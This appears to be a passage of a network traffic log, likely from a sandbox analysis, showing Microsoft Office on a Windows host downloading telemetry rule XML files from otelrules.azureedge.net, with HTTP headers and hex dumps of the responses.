2024-11-10 18:45:19 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:19 UTC	517	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09d23618-001e-000b-0deb-2b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184519Z-16547b76f7f22sh5hC1DFWyb4w0000000d1g000000000nae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: c6107679-e01e-0003-4436-330fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184519Z-17df447cdb5rnd49hC1DFWgmpw00000003ng00000000byga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:20 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: cd73f999-901e-00a0-1f58-2e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184520Z-15869dbbcc6j87jfhC1DFWr0yc000000053g00000000hm8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:20 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d2462b50-d01e-0065-2f8f-31b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184520Z-17df447cdb5w28bthC1DFWgb6400000008z000000000guxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:20 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 6faec6d6-f01e-001f-01af-315dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184520Z-16547b76f7fknvdnhC1DFWxnys0000000d4g0000000046gq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:20 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:20 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:20 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 43525779-601e-003e-2ed2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184520Z-16547b76f7f7rtshhC1DFWrtqn0000000d1g00000000bku6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:20 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 11730d72-501e-000a-528e-300180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184520Z-17df447cdb5lrwcchC1DFWphes000000098000000000gt4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:21 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:21 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e1fdd300-601e-0050-075b-322c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184521Z-15869dbbcc6bmgjfhC1DFWzfzs00000004kg0000000017zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:21 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:21 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: dbacf76e-401e-0015-2799-310e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184521Z-17df447cdb5lrwcchC1DFWphes00000009ag00000000bfuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:21 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:21 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 87019636-c01e-0082-15c7-2caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184521Z-16547b76f7fvllnfhC1DFWxkg80000000d2g000000009uzg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:21 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:21 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:21 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:21 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 1f067382-101e-0028-0949-328f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184521Z-17df447cdb59mt7dhC1DFWqpg4000000099g00000000cx2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:21 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:21 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:21 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:21 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 44d511d9-701e-000d-2909-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184521Z-16547b76f7fkj7j4hC1DFW0a9g0000000czg00000000cq6p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
